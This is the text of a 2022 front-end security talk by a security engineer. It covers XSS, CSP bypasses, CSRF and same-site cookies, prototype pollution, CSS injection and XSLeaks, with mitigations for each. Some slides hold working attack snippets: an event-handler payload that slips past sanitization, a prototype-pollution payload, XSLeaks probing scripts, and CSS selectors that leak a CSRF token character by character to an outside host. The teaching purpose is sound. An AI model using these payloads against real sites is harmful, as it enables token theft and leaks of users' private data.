Slide 1

Slide 1 text

Front-end Security that Front-end developers don’t know Huli @ Trend Micro Sharing, 2022/07/08

Slide 2

Slide 2 text

About Previous: Front-end Engineer

Slide 3

Slide 3 text

About Previous: Front-end Engineer Now: Security Engineer

Slide 4

Slide 4 text

Security

Slide 5

Slide 5 text

source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

Slide 6

Slide 6 text

source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

Slide 7

Slide 7 text

source: https://docs.github.com/en/code-security/

Slide 8

Slide 8 text

source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

Slide 9

Slide 9 text

弱點掃描 Vulnerability Assessment

Slide 10

Slide 10 text

source: https://www.zaproxy.org/getting-started/images/zap-qstart-learnmore.png

Slide 11

Slide 11 text

滲透測試 Penetration Test

Slide 12

Slide 12 text

紅隊演練 Red Teaming

Slide 13

Slide 13 text

So, are we safe now?

Slide 14

Slide 14 text

source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

Slide 15

Slide 15 text

No content

Slide 16

Slide 16 text

XSS Cross-Site Scripting

Slide 17

Slide 17 text

I am safe! I use ____ !

Slide 18

Slide 18 text

Can you spot the vulnerability?

Slide 19

Slide 19 text

Can you spot the vulnerability?

Slide 20

Slide 20 text

The vulnerability

Slide 21

Slide 21 text

No content

Slide 22

Slide 22 text

Slide 23

Slide 23 text

Can you spot the vulnerability?

Slide 24

Slide 24 text

The vulnerability

Slide 25

Slide 25 text

Can you spot the vulnerability?

Slide 26

Slide 26 text

The vulnerability

Slide 27

Slide 27 text

No content

Slide 28

Slide 28 text

No content

Slide 29

Slide 29 text

No content

Slide 30

Slide 30 text

Mitigation 1. URL should start with 
 http:// or https:// 2. Use new URL() to check 
 protocol

Slide 31

Slide 31 text

No content

Slide 32

Slide 32 text

Are we safe now?

Slide 33

Slide 33 text

Can you spot the vulnerability?

Slide 34

Slide 34 text

top.location = "//huli.tw"

Slide 35

Slide 35 text

Mitigation Sandboxed iframe

Slide 36

Slide 36 text

Sandboxed iframe allow-downloads allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-scripts allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-top-navigation allow-top-navigation-by-user- activation allow-top-navigation-to-custom- protocols

Slide 37

Slide 37 text

I am safe! I use React!

Slide 38

Slide 38 text

Can you spot the vulnerability?

Slide 39

Slide 39 text

The vulnerability

Slide 40

Slide 40 text

The vulnerability Warning: Invalid event handler property `onerror`. Did you mean `onError`?

Slide 41

Slide 41 text

The vulnerability

Slide 42

Slide 42 text

Mitigation Don’t trust user’s input

Slide 43

Slide 43 text

Sanitization is not that hard, but…

Slide 44

Slide 44 text

What if some tags are allowed?

Slide 45

Slide 45 text

Can you spot the vulnerability?

Slide 46

Slide 46 text

No content

Slide 47

Slide 47 text

Can you spot the vulnerability?

Slide 48

Slide 48 text

Can you spot the vulnerability?

Slide 49

Slide 49 text

The vulnerability //example.com style=animation-name:spinning onanimationstart=console.log(1337)

Slide 50

Slide 50 text

Mitigation Don’t modify the content after sanitization

Slide 51

Slide 51 text

CSP Content Security Policy

Slide 52

Slide 52 text

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://www.google.com; img-src *;

Slide 53

Slide 53 text

Are we safe now? Yes :) No :(

Slide 54

Slide 54 text

Are we safe now? Yes :) No :(

Slide 55

Slide 55 text

Can you spot the vulnerability? default-src 'self'; script-src 'self' 'unsafe-inline' https://www.google.com; img-src *;

Slide 56

Slide 56 text

Can you spot the vulnerability? default-src 'self'; script-src 'self' 'unsafe-inline' https://www.google.com; img-src *;

Slide 57

Slide 57 text

Is it vulnerable? default-src 'self'; script-src 'self' https://www.google.com; img-src *;

Slide 58

Slide 58 text

The vulnerability default-src 'self'; script-src 'self' https://www.google.com; img-src *;

Slide 59

Slide 59 text

The vulnerability alert(1)//([“123”,[“123go”,”https:// www.yes123.com.tw/","123rf"..... Response

Slide 60

Slide 60 text

Is it vulnerable? default-src 'self'; script-src 'self'; img-src *;

Slide 61

Slide 61 text

Is it vulnerable? default-src 'self'; script-src 'self'; img-src *; jsonp: /?jsonp=.. open redirect: /redirect?url=..

Slide 62

Slide 62 text

Mitigation https://csp-evaluator.withgoogle.com/

Slide 63

Slide 63 text

Real world example HackMD Stored XSS & Bypass CSP with Google Tag Manager (GTM + unsafe-eval) https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/ HackMD_XSS_%26_Bypass_CSP.md A Wormable XSS on HackMD! (cdnjs + angular CSTI) https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html

Slide 64

Slide 64 text

CSRF Cross-Site Request Forgery

Slide 65

Slide 65 text

User Login huli.tw

Slide 66

Slide 66 text

User Login huli.tw User Open attack.com

Slide 67

Slide 67 text

User Login huli.tw User Open attack.com Submit form

Slide 68

Slide 68 text

User Login huli.tw User Open attack.com Submit form Cookie: sid=..

Slide 69

Slide 69 text

User Login huli.tw User Open attack.com Submit form Cookie: sid=..

Slide 70

Slide 70 text

Mitigation CSRF token Same-site cookie JWT(?)

Slide 71

Slide 71 text

User Request huli.tw document.cookie="token=5566" Cookie:token=5566 data=…&token=5566

Slide 72

Slide 72 text

User Request huli.tw User Open attack.com document.cookie="token=5566" Cookie:token=5566 data=…&token=5566 Submit form

Slide 73

Slide 73 text

Mitigation CSRF token Same-site cookie JWT(?)

Slide 74

Slide 74 text

User Login huli.tw Set-cookie: sid=abc; Same-site=Lax

Slide 75

Slide 75 text

User Login huli.tw User Open attack.com Submit form Cookie:

Slide 76

Slide 76 text

SameSite Cookie Changes in February 2020: What You Need to Know https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html

Slide 77

Slide 77 text

Are we safe now? Yes :) No :(

Slide 78

Slide 78 text

Are we safe now? Yes :) No :(

Slide 79

Slide 79 text

Feature: Cookies default to SameSite=Lax https://chromestatus.com/feature/5088147346030592 Note: Chrome will make an exception for cookies set without a SameSite attribute less than 2 minutes ago. Such cookies will also be sent with non-idempotent (e.g. POST) top-level cross-site requests.… Support for this intervention ("Lax + POST") will be removed in the future.

Slide 80

Slide 80 text

User Login huli.tw User Open attack.com Submit form Cookie:

Slide 81

Slide 81 text

User Login huli.tw User Open attack.com Submit form Cookie:sid=.. < 2min

Slide 82

Slide 82 text

Are we safe now? Yes :) No :(

Slide 83

Slide 83 text

Same-site Cookie

Slide 84

Slide 84 text

Same-site Cookie What is “site”?

Slide 85

Slide 85 text

Origin(scheme,host,port) Site(scheme,eTLD) https://huli.tw (https, huli.tw, 443) (https, huli.tw) http://blog.huli.tw (https, blog.huli.tw, 443) (https, huli.tw) https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io) https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)

Slide 86

Slide 86 text

Origin(scheme,host,port) Site(scheme,eTLD) https://huli.tw (https, huli.tw, 443) (https, huli.tw) http://blog.huli.tw (https, blog.huli.tw, 443) (https, huli.tw) https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io) https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)

Slide 87

Slide 87 text

No content

Slide 88

Slide 88 text

User Login huli.tw User Open xss.huli.tw Submit form

Slide 89

Slide 89 text

1. Subdomain takeover 2. XSS on subdomain

Slide 90

Slide 90 text

No content

Slide 91

Slide 91 text

https://github.com/EdOverflow/can-i-take-over-xyz

Slide 92

Slide 92 text

Real world example CVE-2022-21703: cross-origin request forgery against Grafana https://jub0bs.com/posts/2022-02-08-cve-2022-21703-writeup/ Subdomain takeover on svcgatewayus.starbucks.com https://hackerone.com/reports/325336

Slide 93

Slide 93 text

Mitigation CSRF token + same-site cookie

Slide 94

Slide 94 text

Is it vulnerable?

Slide 95

Slide 95 text

Can you spot the vulnerability?

Slide 96

Slide 96 text

Can you spot the vulnerability?

Slide 97

Slide 97 text

The vulnerability

Slide 98

Slide 98 text

The vulnerability

Slide 99

Slide 99 text

The vulnerability obj[y][x] = value

Slide 100

Slide 100 text

The vulnerability obj[y][x] = value obj[1][0] = 'white' obj['tags']['img'] = 'src'

Slide 101

Slide 101 text

The vulnerability obj[y][x] = value obj[1][0] = 'white' obj['tags']['img'] = 'src' obj['__proto__']['abc'] = 'hi'

Slide 102

Slide 102 text

Prototype Pollution

Slide 103

Slide 103 text

var obj = {} var obj2 = {} // obj.__proto__ === Object.prototype // => Object.prototype.a = 1 obj['__proto__']['a'] = 1 console.log(obj2.a) // 1

Slide 104

Slide 104 text

No content

Slide 105

Slide 105 text

Is it vulnerable?

Slide 106

Slide 106 text

Is it vulnerable? obj['__proto__']['>xss'] = 1

Slide 107

Slide 107 text

The vulnerability

Slide 108

Slide 108 text

Prototype pollution gadgets https://github.com/BlackFan/client-side-prototype-pollution

Slide 109

Slide 109 text

Real world example Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609) https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/

Slide 110

Slide 110 text

Mitigation Object.create(null) Object.freeze(Object.prototype) hasOwnProperty

Slide 111

Slide 111 text

Is it vulnerable? const clean = DOMPurify.sanitize(input) div.innerHTML = clean Yes :) No :(

Slide 112

Slide 112 text

Is it vulnerable? const clean = DOMPurify.sanitize(input) div.innerHTML = clean Yes :) No :(

Slide 113

Slide 113 text

The vulnerability

Slide 114

Slide 114 text

CSS injection

Slide 115

Slide 115 text

What can we do via ?

Slide 116

Slide 116 text

Slide 117

Slide 117 text

input [name=token] [value^=a] { background: url(//huli.tw?q=a) }

Slide 118

Slide 118 text

input [name=token] [value^=a] { background: url(//huli.tw?q=a) }

Slide 119

Slide 119 text

input [name=token] [value^=a] ~ * { background: url(//huli.tw?q=a) }

Slide 120

Slide 120 text

input [name=token] [value^=a] ~ * { background: url(//huli.tw?q=a) }

Slide 121

Slide 121 text

?

Slide 122

Slide 122 text

No content

Slide 123

Slide 123 text

form:has( input [name=token] [value^=a]) { background: url(//huli.tw?q=a) }

Slide 124

Slide 124 text

No content

Slide 125

Slide 125 text

Mitigation CSP Same-site cookie Check Origin/Referer header

Slide 126

Slide 126 text

Is it vulnerable? Yes :) No :( app.get('/search', (req, res) => { const user = db.users.search(req.query.q) if(!user) return res.sendStatus(404) res.send(user) })

Slide 127

Slide 127 text

Is it vulnerable? Yes :) No :( app.get('/search', (req, res) => { const user = db.users.search(req.query.q) if(!user) return res.sendStatus(404) res.send(user) })

Slide 128

Slide 128 text

Is it vulnerable? Yes :) No :( app.get('/search', (req, res) => { const user = db.users.search(req.query.q) if(!user) return res.status(404) res.send(user) }) Found => 200 Not Found => 404

Slide 129

Slide 129 text

No content

Slide 130

Slide 130 text

XSLeaks

Slide 131

Slide 131 text

Can you exploit the vulnerability? app.get('/search', (req, res) => { const user = db.users.search(req.query.q) if (!user) return res.send('not found') res.send(`Redirecting... setTimeout(() => { location = '/result?id=${user.id}' }, 500) `) })

Slide 132

Slide 132 text

var w = window.open('http://localhost:3000/search?q=1') setTimeout(() => { w.location = '/' setTimeout(() => { alert(w.history.length === 3 ? 'Found' : 'Not found') w.close() }, 500) }, 1500)

Slide 133

Slide 133 text

Can you exploit the vulnerability? app.get('/search', (req, res) => { const user = db.users.search(req.query.q) if (!user) return res.send('not found') res.redirect('/result?id='+user.id) })

Slide 134

Slide 134 text

No content

Slide 135

Slide 135 text

const attackerUrl = "https://xsinator.com/testcases/ files/maxredirect.php" const url = ‘http://localhost:3000/search?q=a' fetch(`${attackerUrl}?n=19&url=${encodeURI(url)}`, { credentials: "include", mode: "no-cors" }).then(() => { console.log('not found') }) .catch(() => { console.log('found') })

Slide 136

Slide 136 text

Mitigation Same-site cookie status-agnostic response

Slide 137

Slide 137 text

No content

Slide 138

Slide 138 text

Resources 1. https://github.com/fei3363/Awesome-Taiwan-Security-Course 2. https://github.com/splitline/How-to-Hack-Websites 3. https://xsleaks.dev/ 4. https://xsinator.com/ 5. https://portswigger.net/web-security 6. https://book.hacktricks.xyz/pentesting-web/xs-search 7. https://blog.huli.tw 8. https://blog.maple3142.net/

Slide 139

Slide 139 text

Q&A